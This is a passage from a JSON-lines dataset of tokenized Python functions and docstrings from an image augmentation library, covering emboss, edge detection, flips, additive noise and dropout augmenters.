{"signature": "def Emboss(alpha=<NUM_LIT:0>, strength=<NUM_LIT:1>, name=None, deterministic=False, random_state=None):", "body": "alpha_param = iap.handle_continuous_param(alpha, \"<STR_LIT>\", value_range=(<NUM_LIT:0>, <NUM_LIT:1.0>), tuple_to_uniform=True,<EOL>list_to_choice=True)<EOL>strength_param = iap.handle_continuous_param(strength, \"<STR_LIT>\", value_range=(<NUM_LIT:0>, None), tuple_to_uniform=True,<EOL>list_to_choice=True)<EOL>def create_matrices(image, nb_channels, random_state_func):<EOL><INDENT>alpha_sample = alpha_param.draw_sample(random_state=random_state_func)<EOL>ia.do_assert(<NUM_LIT:0> <= alpha_sample <= <NUM_LIT:1.0>)<EOL>strength_sample = strength_param.draw_sample(random_state=random_state_func)<EOL>matrix_nochange = np.array([<EOL>[<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>],<EOL>[<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>],<EOL>[<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>]<EOL>], dtype=np.float32)<EOL>matrix_effect = np.array([<EOL>[-<NUM_LIT:1>-strength_sample, <NUM_LIT:0>-strength_sample, <NUM_LIT:0>],<EOL>[<NUM_LIT:0>-strength_sample, <NUM_LIT:1>, <NUM_LIT:0>+strength_sample],<EOL>[<NUM_LIT:0>, <NUM_LIT:0>+strength_sample, <NUM_LIT:1>+strength_sample]<EOL>], dtype=np.float32)<EOL>matrix = (<NUM_LIT:1>-alpha_sample) * matrix_nochange + alpha_sample * matrix_effect<EOL>return [matrix] * nb_channels<EOL><DEDENT>if name is None:<EOL><INDENT>name = \"<STR_LIT>\" % (ia.caller_name(),)<EOL><DEDENT>return Convolve(create_matrices, name=name, deterministic=deterministic, random_state=random_state)<EOL>", "docstring": "Augmenter that embosses images and overlays the result with the original\nimage.\n\nThe embossed version pronounces highlights and shadows,\nletting the image look as if it was recreated on a metal plate (\"embossed\").\n\ndtype support::\n\n    See ``imgaug.augmenters.convolutional.Convolve``.\n\nParameters\n----------\nalpha : number or tuple of number or list of number or imgaug.parameters.StochasticParameter, optional\n    Visibility of the sharpened image. At 0, only the original image is\n    visible, at 1.0 only its sharpened version is visible.\n\n        * If an int or float, exactly that value will be used.\n        * If a tuple ``(a, b)``, a random value from the range ``a <= x <= b`` will\n          be sampled per image.\n        * If a list, then a random value will be sampled from that list\n          per image.\n        * If a StochasticParameter, a value will be sampled from the\n          parameter per image.\n\nstrength : number or tuple of number or list of number or imgaug.parameters.StochasticParameter, optional\n    Parameter that controls the strength of the embossing.\n    Sane values are somewhere in the range ``(0, 2)`` with 1 being the standard\n    embossing effect. Default value is 1.\n\n        * If an int or float, exactly that value will be used.\n        * If a tuple ``(a, b)``, a random value from the range ``a <= x <= b`` will\n          be sampled per image.\n        * If a list, then a random value will be sampled from that list\n          per image.\n        * If a StochasticParameter, a value will be sampled from the\n          parameter per image.\n\nname : None or str, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\ndeterministic : bool, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nrandom_state : None or int or numpy.random.RandomState, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nExamples\n--------\n>>> aug = Emboss(alpha=(0.0, 1.0), strength=(0.5, 1.5))\n\nembosses an image with a variable strength in the range ``0.5 <= x <= 1.5``\nand overlays the result with a variable alpha in the range ``0.0 <= a <= 1.0``\nover the old image.", "id": "f16290:m1"}
{"signature": "def EdgeDetect(alpha=<NUM_LIT:0>, name=None, deterministic=False, random_state=None):", "body": "alpha_param = iap.handle_continuous_param(alpha, \"<STR_LIT>\", value_range=(<NUM_LIT:0>, <NUM_LIT:1.0>), tuple_to_uniform=True,<EOL>list_to_choice=True)<EOL>def create_matrices(_image, nb_channels, random_state_func):<EOL><INDENT>alpha_sample = alpha_param.draw_sample(random_state=random_state_func)<EOL>ia.do_assert(<NUM_LIT:0> <= alpha_sample <= <NUM_LIT:1.0>)<EOL>matrix_nochange = np.array([<EOL>[<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>],<EOL>[<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>],<EOL>[<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>]<EOL>], dtype=np.float32)<EOL>matrix_effect = np.array([<EOL>[<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>],<EOL>[<NUM_LIT:1>, -<NUM_LIT:4>, <NUM_LIT:1>],<EOL>[<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>]<EOL>], dtype=np.float32)<EOL>matrix = (<NUM_LIT:1>-alpha_sample) * matrix_nochange + alpha_sample * matrix_effect<EOL>return [matrix] * nb_channels<EOL><DEDENT>if name is None:<EOL><INDENT>name = \"<STR_LIT>\" % (ia.caller_name(),)<EOL><DEDENT>return Convolve(create_matrices, name=name, deterministic=deterministic, random_state=random_state)<EOL>", "docstring": "Augmenter that detects all edges in images, marks them in\na black and white image and then overlays the result with the original\nimage.\n\ndtype support::\n\n    See ``imgaug.augmenters.convolutional.Convolve``.\n\nParameters\n----------\nalpha : number or tuple of number or list of number or imgaug.parameters.StochasticParameter, optional\n    Visibility of the sharpened image. At 0, only the original image is\n    visible, at 1.0 only its sharpened version is visible.\n\n        * If an int or float, exactly that value will be used.\n        * If a tuple ``(a, b)``, a random value from the range ``a <= x <= b`` will\n          be sampled per image.\n        * If a list, then a random value will be sampled from that list\n          per image.\n        * If a StochasticParameter, a value will be sampled from the\n          parameter per image.\n\nname : None or str, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\ndeterministic : bool, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nrandom_state : None or int or numpy.random.RandomState, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nExamples\n--------\n>>> aug = EdgeDetect(alpha=(0.0, 1.0))\n\ndetects edges in an image  and overlays the result with a variable alpha\nin the range ``0.0 <= a <= 1.0`` over the old image.", "id": "f16290:m2"}
{"signature": "def DirectedEdgeDetect(alpha=<NUM_LIT:0>, direction=(<NUM_LIT:0.0>, <NUM_LIT:1.0>), name=None, deterministic=False, random_state=None):", "body": "alpha_param = iap.handle_continuous_param(alpha, \"<STR_LIT>\", value_range=(<NUM_LIT:0>, <NUM_LIT:1.0>), tuple_to_uniform=True,<EOL>list_to_choice=True)<EOL>direction_param = iap.handle_continuous_param(direction, \"<STR_LIT>\", value_range=None, tuple_to_uniform=True,<EOL>list_to_choice=True)<EOL>def create_matrices(_image, nb_channels, random_state_func):<EOL><INDENT>alpha_sample = alpha_param.draw_sample(random_state=random_state_func)<EOL>ia.do_assert(<NUM_LIT:0> <= alpha_sample <= <NUM_LIT:1.0>)<EOL>direction_sample = direction_param.draw_sample(random_state=random_state_func)<EOL>deg = int(direction_sample * <NUM_LIT>) % <NUM_LIT><EOL>rad = np.deg2rad(deg)<EOL>x = np.cos(rad - <NUM_LIT:0.5>*np.pi)<EOL>y = np.sin(rad - <NUM_LIT:0.5>*np.pi)<EOL>direction_vector = np.array([x, y])<EOL>matrix_effect = np.array([<EOL>[<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>],<EOL>[<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>],<EOL>[<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>]<EOL>], dtype=np.float32)<EOL>for x in [-<NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:1>]:<EOL><INDENT>for y in [-<NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:1>]:<EOL><INDENT>if (x, y) != (<NUM_LIT:0>, <NUM_LIT:0>):<EOL><INDENT>cell_vector = np.array([x, y])<EOL>distance_deg = np.rad2deg(ia.angle_between_vectors(cell_vector, direction_vector))<EOL>distance = distance_deg / <NUM_LIT><EOL>similarity = (<NUM_LIT:1> - distance)**<NUM_LIT:4><EOL>matrix_effect[y+<NUM_LIT:1>, x+<NUM_LIT:1>] = similarity<EOL><DEDENT><DEDENT><DEDENT>matrix_effect = matrix_effect / np.sum(matrix_effect)<EOL>matrix_effect = matrix_effect * (-<NUM_LIT:1>)<EOL>matrix_effect[<NUM_LIT:1>, <NUM_LIT:1>] = <NUM_LIT:1><EOL>matrix_nochange = np.array([<EOL>[<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>],<EOL>[<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>],<EOL>[<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>]<EOL>], dtype=np.float32)<EOL>matrix = (<NUM_LIT:1>-alpha_sample) * matrix_nochange + alpha_sample * matrix_effect<EOL>return [matrix] * nb_channels<EOL><DEDENT>if name is None:<EOL><INDENT>name = \"<STR_LIT>\" % (ia.caller_name(),)<EOL><DEDENT>return Convolve(create_matrices, name=name, deterministic=deterministic, random_state=random_state)<EOL>", "docstring": "Augmenter that detects edges that have certain directions and marks them\nin a black and white image and then overlays the result with the original\nimage.\n\ndtype support::\n\n    See ``imgaug.augmenters.convolutional.Convolve``.\n\nParameters\n----------\nalpha : number or tuple of number or list of number or imgaug.parameters.StochasticParameter, optional\n    Visibility of the sharpened image. At 0, only the original image is\n    visible, at 1.0 only its sharpened version is visible.\n\n        * If an int or float, exactly that value will be used.\n        * If a tuple ``(a, b)``, a random value from the range ``a <= x <= b`` will\n          be sampled per image.\n        * If a list, then a random value will be sampled from that list\n          per image.\n        * If a StochasticParameter, a value will be sampled from the\n          parameter per image.\n\ndirection : number or tuple of number or list of number or imgaug.parameters.StochasticParameter, optional\n    Angle of edges to pronounce, where 0 represents 0 degrees and 1.0\n    represents 360 degrees (both clockwise, starting at the top).\n    Default value is ``(0.0, 1.0)``, i.e. pick a random angle per image.\n\n        * If an int or float, exactly that value will be used.\n        * If a tuple ``(a, b)``, a random value from the range ``a <= x <= b`` will\n          be sampled per image.\n        * If a list, then a random value will be sampled from that list\n          per image.\n        * If a StochasticParameter, a value will be sampled from the\n          parameter per image.\n\nname : None or str, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\ndeterministic : bool, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nrandom_state : None or int or numpy.random.RandomState, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nExamples\n--------\n>>> aug = DirectedEdgeDetect(alpha=1.0, direction=0)\n\nturns input images into edge images in which edges are detected from\ntop side of the image (i.e. the top sides of horizontal edges are\nadded to the output).\n\n>>> aug = DirectedEdgeDetect(alpha=1.0, direction=90/360)\n\nsame as before, but detecting edges from the right (right side of each\nvertical edge).\n\n>>> aug = DirectedEdgeDetect(alpha=1.0, direction=(0.0, 1.0))\n\nsame as before, but detecting edges from a variable direction (anything\nbetween 0 and 1.0, i.e. 0 degrees and 360 degrees, starting from the\ntop and moving clockwise).\n\n>>> aug = DirectedEdgeDetect(alpha=(0.0, 0.3), direction=0)\n\ngenerates edge images (edges detected from the top) and overlays them\nwith the input images by a variable amount between 0 and 30 percent\n(e.g. for 0.3 then ``0.7*old_image + 0.3*edge_image``).", "id": "f16290:m3"}
{"signature": "def HorizontalFlip(*args, **kwargs):", "body": "return Fliplr(*args, **kwargs)<EOL>", "docstring": "Alias for Fliplr.", "id": "f16294:m0"}
{"signature": "def VerticalFlip(*args, **kwargs):", "body": "return Flipud(*args, **kwargs)<EOL>", "docstring": "Alias for Flipud.", "id": "f16294:m1"}
{"signature": "def AdditiveGaussianNoise(loc=<NUM_LIT:0>, scale=<NUM_LIT:0>, per_channel=False, name=None, deterministic=False, random_state=None):", "body": "loc2 = iap.handle_continuous_param(loc, \"<STR_LIT>\", value_range=None, tuple_to_uniform=True, list_to_choice=True)<EOL>scale2 = iap.handle_continuous_param(scale, \"<STR_LIT>\", value_range=(<NUM_LIT:0>, None), tuple_to_uniform=True,<EOL>list_to_choice=True)<EOL>if name is None:<EOL><INDENT>name = \"<STR_LIT>\" % (ia.caller_name(),)<EOL><DEDENT>return AddElementwise(iap.Normal(loc=loc2, scale=scale2), per_channel=per_channel, name=name,<EOL>deterministic=deterministic, random_state=random_state)<EOL>", "docstring": "Add gaussian noise (aka white noise) to images.\n\ndtype support::\n\n    See ``imgaug.augmenters.arithmetic.AddElementwise``.\n\nParameters\n----------\nloc : number or tuple of number or list of number or imgaug.parameters.StochasticParameter, optional\n    Mean of the normal distribution that generates the noise.\n\n        * If a number, exactly that value will be used.\n        * If a tuple ``(a, b)``, a random value from the range ``a <= x <= b`` will\n          be sampled per image.\n        * If a list, then a random value will be sampled from that list per\n          image.\n        * If a StochasticParameter, a value will be sampled from the\n          parameter per image.\n\nscale : number or tuple of number or list of number or imgaug.parameters.StochasticParameter, optional\n    Standard deviation of the normal distribution that generates the noise.\n    Must be ``>= 0``. If 0 then only `loc` will be used.\n\n        * If an int or float, exactly that value will be used.\n        * If a tuple ``(a, b)``, a random value from the range ``a <= x <= b`` will\n          be sampled per image.\n        * If a list, then a random value will be sampled from that list per\n          image.\n        * If a StochasticParameter, a value will be sampled from the\n          parameter per image.\n\nper_channel : bool or float, optional\n    Whether to use the same noise value per pixel for all channels (False)\n    or to sample a new value for each channel (True).\n    If this value is a float ``p``, then for ``p`` percent of all images\n    `per_channel` will be treated as True, otherwise as False.\n\nname : None or str, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\ndeterministic : bool, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nrandom_state : None or int or numpy.random.RandomState, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nExamples\n--------\n>>> aug = iaa.AdditiveGaussianNoise(scale=0.1*255)\n\nadds gaussian noise from the distribution ``N(0, 0.1*255)`` to images.\n\n>>> aug = iaa.AdditiveGaussianNoise(scale=(0, 0.1*255))\n\nadds gaussian noise from the distribution ``N(0, s)`` to images,\nwhere s is sampled per image from the range ``0 <= s <= 0.1*255``.\n\n>>> aug = iaa.AdditiveGaussianNoise(scale=0.1*255, per_channel=True)\n\nadds gaussian noise from the distribution ``N(0, 0.1*255)`` to images,\nwhere the noise value is different per pixel *and* channel (e.g. a\ndifferent one for red, green and blue channels for the same pixel).\n\n>>> aug = iaa.AdditiveGaussianNoise(scale=0.1*255, per_channel=0.5)\n\nadds gaussian noise from the distribution ``N(0, 0.1*255)`` to images,\nwhere the noise value is sometimes (50 percent of all cases) the same\nper pixel for all channels and sometimes different (other 50 percent).", "id": "f16295:m0"}
{"signature": "def AdditiveLaplaceNoise(loc=<NUM_LIT:0>, scale=<NUM_LIT:0>, per_channel=False, name=None, deterministic=False, random_state=None):", "body": "loc2 = iap.handle_continuous_param(loc, \"<STR_LIT>\", value_range=None, tuple_to_uniform=True, list_to_choice=True)<EOL>scale2 = iap.handle_continuous_param(scale, \"<STR_LIT>\", value_range=(<NUM_LIT:0>, None), tuple_to_uniform=True,<EOL>list_to_choice=True)<EOL>if name is None:<EOL><INDENT>name = \"<STR_LIT>\" % (ia.caller_name(),)<EOL><DEDENT>return AddElementwise(iap.Laplace(loc=loc2, scale=scale2), per_channel=per_channel, name=name,<EOL>deterministic=deterministic, random_state=random_state)<EOL>", "docstring": "Add laplace noise to images.\n\nThe laplace distribution is similar to the gaussian distribution, but has puts weight on the long tail.\nHence, this noise will add more outliers (very high/low values). It is somewhere between gaussian noise and\nsalt and pepper noise.\n\nValues of around ``255 * 0.05`` for `scale` lead to visible noise (for uint8).\nValues of around ``255 * 0.10`` for `scale` lead to very visible noise (for uint8).\nIt is recommended to usually set `per_channel` to True.\n\ndtype support::\n\n    See ``imgaug.augmenters.arithmetic.AddElementwise``.\n\nParameters\n----------\nloc : number or tuple of number or list of number or imgaug.parameters.StochasticParameter, optional\n    Mean of the laplace distribution that generates the noise.\n\n        * If a number, exactly that value will be used.\n        * If a tuple ``(a, b)``, a random value from the range ``a <= x <= b`` will\n          be sampled per image.\n        * If a list, then a random value will be sampled from that list per\n          image.\n        * If a StochasticParameter, a value will be sampled from the\n          parameter per image.\n\nscale : number or tuple of number or list of number or imgaug.parameters.StochasticParameter, optional\n    Standard deviation of the laplace distribution that generates the noise.\n    Must be ``>= 0``. If 0 then only `loc` will be used.\n    Recommended to be around ``255 * 0.05``.\n\n        * If an int or float, exactly that value will be used.\n        * If a tuple ``(a, b)``, a random value from the range ``a <= x <= b`` will\n          be sampled per image.\n        * If a list, then a random value will be sampled from that list per\n          image.\n        * If a StochasticParameter, a value will be sampled from the\n          parameter per image.\n\nper_channel : bool or float, optional\n    Whether to use the same noise value per pixel for all channels (False)\n    or to sample a new value for each channel (True).\n    If this value is a float ``p``, then for ``p`` percent of all images\n    `per_channel` will be treated as True, otherwise as False.\n\nname : None or str, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\ndeterministic : bool, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nrandom_state : None or int or numpy.random.RandomState, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nExamples\n--------\n>>> aug = iaa.AdditiveLaplaceNoise(scale=0.1*255)\n\nAdds laplace noise from the distribution ``Laplace(0, 0.1*255)`` to images.\n\n>>> aug = iaa.AdditiveLaplaceNoise(scale=(0, 0.1*255))\n\nAdds laplace noise from the distribution ``Laplace(0, s)`` to images,\nwhere s is sampled per image from the range ``0 <= s <= 0.1*255``.\n\n>>> aug = iaa.AdditiveLaplaceNoise(scale=0.1*255, per_channel=True)\n\nAdds laplace noise from the distribution ``Laplace(0, 0.1*255)`` to images,\nwhere the noise value is different per pixel *and* channel (e.g. a\ndifferent one for red, green and blue channels for the same pixel).\n\n>>> aug = iaa.AdditiveLaplaceNoise(scale=0.1*255, per_channel=0.5)\n\nAdds laplace noise from the distribution ``Laplace(0, 0.1*255)`` to images,\nwhere the noise value is sometimes (50 percent of all cases) the same\nper pixel for all channels and sometimes different (other 50 percent).", "id": "f16295:m1"}
{"signature": "def AdditivePoissonNoise(lam=<NUM_LIT:0>, per_channel=False, name=None, deterministic=False, random_state=None):", "body": "lam2 = iap.handle_continuous_param(lam, \"<STR_LIT>\", value_range=(<NUM_LIT:0>, None), tuple_to_uniform=True,<EOL>list_to_choice=True)<EOL>if name is None:<EOL><INDENT>name = \"<STR_LIT>\" % (ia.caller_name(),)<EOL><DEDENT>return AddElementwise(iap.RandomSign(iap.Poisson(lam=lam2)), per_channel=per_channel, name=name,<EOL>deterministic=deterministic, random_state=random_state)<EOL>", "docstring": "Create an augmenter to add poisson noise to images.\n\nPoisson noise is comparable to gaussian noise as in ``AdditiveGaussianNoise``, but the values are sampled from\na poisson distribution instead of a gaussian distribution. As poisson distributions produce only positive numbers,\nthe sign of the sampled values are here randomly flipped.\n\nValues of around ``10.0`` for `lam` lead to visible noise (for uint8).\nValues of around ``20.0`` for `lam` lead to very visible noise (for uint8).\nIt is recommended to usually set `per_channel` to True.\n\ndtype support::\n\n    See ``imgaug.augmenters.arithmetic.AddElementwise``.\n\nParameters\n----------\nlam : number or tuple of number or list of number or imgaug.parameters.StochasticParameter, optional\n    Lambda parameter of the poisson distribution. Recommended values are around ``0.0`` to ``10.0``.\n\n        * If a number, exactly that value will be used.\n        * If a tuple ``(a, b)``, a random value from the range ``a <= x <= b`` will\n          be sampled per image.\n        * If a list, then a random value will be sampled from that list per image.\n        * If a StochasticParameter, a value will be sampled from the\n          parameter per image.\n\nper_channel : bool or float, optional\n    Whether to use the same noise value per pixel for all channels (False)\n    or to sample a new value for each channel (True).\n    If this value is a float ``p``, then for ``p`` percent of all images\n    `per_channel` will be treated as True, otherwise as False.\n\nname : None or str, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\ndeterministic : bool, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nrandom_state : None or int or numpy.random.RandomState, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nExamples\n--------\n>>> aug = iaa.AdditivePoissonNoise(lam=5.0)\n\nAdds poisson noise sampled from ``Poisson(5.0)`` to images.\n\n>>> aug = iaa.AdditivePoissonNoise(lam=(0.0, 10.0))\n\nAdds poisson noise sampled from ``Poisson(x)`` to images, where ``x`` is randomly sampled per image from the\ninterval ``[0.0, 10.0]``.\n\n>>> aug = iaa.AdditivePoissonNoise(lam=5.0, per_channel=True)\n\nAdds poisson noise sampled from ``Poisson(5.0)`` to images,\nwhere the values are different per pixel *and* channel (e.g. a\ndifferent one for red, green and blue channels for the same pixel).\n\n>>> aug = iaa.AdditivePoissonNoise(lam=(0.0, 10.0), per_channel=True)\n\nAdds poisson noise sampled from ``Poisson(x)`` to images,\nwith ``x`` being sampled from ``uniform(0.0, 10.0)`` per image, pixel and channel.\nThis is the *recommended* configuration.\n\n>>> aug = iaa.AdditivePoissonNoise(lam=2, per_channel=0.5)\n\nAdds poisson noise sampled from the distribution ``Poisson(2)`` to images,\nwhere the values are sometimes (50 percent of all cases) the same\nper pixel for all channels and sometimes different (other 50 percent).", "id": "f16295:m2"}
{"signature": "def Dropout(p=<NUM_LIT:0>, per_channel=False, name=None, deterministic=False, random_state=None):", "body": "if ia.is_single_number(p):<EOL><INDENT>p2 = iap.Binomial(<NUM_LIT:1> - p)<EOL><DEDENT>elif ia.is_iterable(p):<EOL><INDENT>ia.do_assert(len(p) == <NUM_LIT:2>)<EOL>ia.do_assert(p[<NUM_LIT:0>] < p[<NUM_LIT:1>])<EOL>ia.do_assert(<NUM_LIT:0> <= p[<NUM_LIT:0>] <= <NUM_LIT:1.0>)<EOL>ia.do_assert(<NUM_LIT:0> <= p[<NUM_LIT:1>] <= <NUM_LIT:1.0>)<EOL>p2 = iap.Binomial(iap.Uniform(<NUM_LIT:1> - p[<NUM_LIT:1>], <NUM_LIT:1> - p[<NUM_LIT:0>]))<EOL><DEDENT>elif isinstance(p, iap.StochasticParameter):<EOL><INDENT>p2 = p<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\" % (type(p),))<EOL><DEDENT>if name is None:<EOL><INDENT>name = \"<STR_LIT>\" % (ia.caller_name(),)<EOL><DEDENT>return MultiplyElementwise(p2, per_channel=per_channel, name=name, deterministic=deterministic,<EOL>random_state=random_state)<EOL>", "docstring": "Augmenter that sets a certain fraction of pixels in images to zero.\n\ndtype support::\n\n    See ``imgaug.augmenters.arithmetic.MultiplyElementwise``.\n\nParameters\n----------\np : float or tuple of float or imgaug.parameters.StochasticParameter, optional\n    The probability of any pixel being dropped (i.e. set to zero).\n\n        * If a float, then that value will be used for all images. A value\n          of 1.0 would mean that all pixels will be dropped and 0.0 that\n          no pixels would be dropped. A value of 0.05 corresponds to 5\n          percent of all pixels dropped.\n        * If a tuple ``(a, b)``, then a value p will be sampled from the\n          range ``a <= p <= b`` per image and be used as the pixel's dropout\n          probability.\n        * If a StochasticParameter, then this parameter will be used to\n          determine per pixel whether it should be dropped (sampled value\n          of 0) or shouldn't (sampled value of 1).\n          If you instead want to provide the probability as a stochastic\n          parameter, you can usually do ``imgaug.parameters.Binomial(1-p)``\n          to convert parameter `p` to a 0/1 representation.\n\nper_channel : bool or float, optional\n    Whether to use the same value (is dropped / is not dropped)\n    for all channels of a pixel (False) or to sample a new value for each\n    channel (True).\n    If this value is a float p, then for p percent of all images\n    `per_channel` will be treated as True, otherwise as False.\n\nname : None or str, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\ndeterministic : bool, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nrandom_state : None or int or numpy.random.RandomState, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nExamples\n--------\n>>> aug = iaa.Dropout(0.02)\n\ndrops 2 percent of all pixels.\n\n>>> aug = iaa.Dropout((0.0, 0.05))\n\ndrops in each image a random fraction of all pixels, where the fraction\nis in the range ``0.0 <= x <= 0.05``.\n\n>>> aug = iaa.Dropout(0.02, per_channel=True)\n\ndrops 2 percent of all pixels in a channel-wise fashion, i.e. it is unlikely\nfor any pixel to have all channels set to zero (black pixels).\n\n>>> aug = iaa.Dropout(0.02, per_channel=0.5)\n\nsame as previous example, but the `per_channel` feature is only active\nfor 50 percent of all images.", "id": "f16295:m3"}
{"signature": "def CoarseDropout(p=<NUM_LIT:0>, size_px=None, size_percent=None, per_channel=False, min_size=<NUM_LIT:4>, name=None, deterministic=False,<EOL>random_state=None):", "body": "if ia.is_single_number(p):<EOL><INDENT>p2 = iap.Binomial(<NUM_LIT:1> - p)<EOL><DEDENT>elif ia.is_iterable(p):<EOL><INDENT>ia.do_assert(len(p) == <NUM_LIT:2>)<EOL>ia.do_assert(p[<NUM_LIT:0>] < p[<NUM_LIT:1>])<EOL>ia.do_assert(<NUM_LIT:0> <= p[<NUM_LIT:0>] <= <NUM_LIT:1.0>)<EOL>ia.do_assert(<NUM_LIT:0> <= p[<NUM_LIT:1>] <= <NUM_LIT:1.0>)<EOL>p2 = iap.Binomial(iap.Uniform(<NUM_LIT:1> - p[<NUM_LIT:1>], <NUM_LIT:1> - p[<NUM_LIT:0>]))<EOL><DEDENT>elif isinstance(p, iap.StochasticParameter):<EOL><INDENT>p2 = p<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\" % (type(p),))<EOL><DEDENT>if size_px is not None:<EOL><INDENT>p3 = iap.FromLowerResolution(other_param=p2, size_px=size_px, min_size=min_size)<EOL><DEDENT>elif size_percent is not None:<EOL><INDENT>p3 = iap.FromLowerResolution(other_param=p2, size_percent=size_percent, min_size=min_size)<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>if name is None:<EOL><INDENT>name = \"<STR_LIT>\" % (ia.caller_name(),)<EOL><DEDENT>return MultiplyElementwise(p3, per_channel=per_channel, name=name, deterministic=deterministic,<EOL>random_state=random_state)<EOL>", "docstring": "Augmenter that sets rectangular areas within images to zero.\n\nIn contrast to Dropout, these areas can have larger sizes.\n(E.g. you might end up with three large black rectangles in an image.)\nNote that the current implementation leads to correlated sizes,\nso when there is one large area that is dropped, there is a high likelihood\nthat all other dropped areas are also large.\n\nThis method is implemented by generating the dropout mask at a\nlower resolution (than the image has) and then upsampling the mask\nbefore dropping the pixels.\n\ndtype support::\n\n    See ``imgaug.augmenters.arithmetic.MultiplyElementwise``.\n\nParameters\n----------\np : float or tuple of float or imgaug.parameters.StochasticParameter, optional\n    The probability of any pixel being dropped (i.e. set to zero).\n\n        * If a float, then that value will be used for all pixels. A value\n          of 1.0 would mean, that all pixels will be dropped. A value of\n          0.0 would lead to no pixels being dropped.\n        * If a tuple ``(a, b)``, then a value p will be sampled from the\n          range ``a <= p <= b`` per image and be used as the pixel's dropout\n          probability.\n        * If a StochasticParameter, then this parameter will be used to\n          determine per pixel whether it should be dropped (sampled value\n          of 0) or shouldn't (sampled value of 1).\n\nsize_px : int or tuple of int or imgaug.parameters.StochasticParameter, optional\n    The size of the lower resolution image from which to sample the dropout\n    mask in absolute pixel dimensions.\n\n        * If an integer, then that size will be used for both height and\n          width. E.g. a value of 3 would lead to a ``3x3`` mask, which is then\n          upsampled to ``HxW``, where ``H`` is the image size and W the image width.\n        * If a tuple ``(a, b)``, then two values ``M``, ``N`` will be sampled from the\n          range ``[a..b]`` and the mask will be generated at size ``MxN``, then\n          upsampled to ``HxW``.\n        * If a StochasticParameter, then this parameter will be used to\n          determine the sizes. It is expected to be discrete.\n\nsize_percent : float or tuple of float or imgaug.parameters.StochasticParameter, optional\n    The size of the lower resolution image from which to sample the dropout\n    mask *in percent* of the input image.\n\n        * If a float, then that value will be used as the percentage of the\n          height and width (relative to the original size). E.g. for value\n          p, the mask will be sampled from ``(p*H)x(p*W)`` and later upsampled\n          to ``HxW``.\n        * If a tuple ``(a, b)``, then two values ``m``, ``n`` will be sampled from the\n          interval ``(a, b)`` and used as the percentages, i.e the mask size\n          will be ``(m*H)x(n*W)``.\n        * If a StochasticParameter, then this parameter will be used to\n          sample the percentage values. It is expected to be continuous.\n\nper_channel : bool or float, optional\n    Whether to use the same value (is dropped / is not dropped)\n    for all channels of a pixel (False) or to sample a new value for each\n    channel (True).\n    If this value is a float ``p``, then for ``p`` percent of all images\n    `per_channel` will be treated as True, otherwise as False.\n\nmin_size : int, optional\n    Minimum size of the low resolution mask, both width and height. If\n    `size_percent` or `size_px` leads to a lower value than this, `min_size`\n    will be used instead. This should never have a value of less than 2,\n    otherwise one may end up with a ``1x1`` low resolution mask, leading easily\n    to the whole image being dropped.\n\nname : None or str, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\ndeterministic : bool, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nrandom_state : None or int or numpy.random.RandomState, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nExamples\n--------\n>>> aug = iaa.CoarseDropout(0.02, size_percent=0.5)\n\ndrops 2 percent of all pixels on an lower-resolution image that has\n50 percent of the original image's size, leading to dropped areas that\nhave roughly 2x2 pixels size.\n\n\n>>> aug = iaa.CoarseDropout((0.0, 0.05), size_percent=(0.05, 0.5))\n\ngenerates a dropout mask at 5 to 50 percent of image's size. In that mask,\n0 to 5 percent of all pixels are dropped (random per image).\n\n>>> aug = iaa.CoarseDropout((0.0, 0.05), size_px=(2, 16))\n\nsame as previous example, but the lower resolution image has 2 to 16 pixels\nsize.\n\n>>> aug = iaa.CoarseDropout(0.02, size_percent=0.5, per_channel=True)\n\ndrops 2 percent of all pixels at 50 percent resolution (2x2 sizes)\nin a channel-wise fashion, i.e. it is unlikely\nfor any pixel to have all channels set to zero (black pixels).\n\n>>> aug = 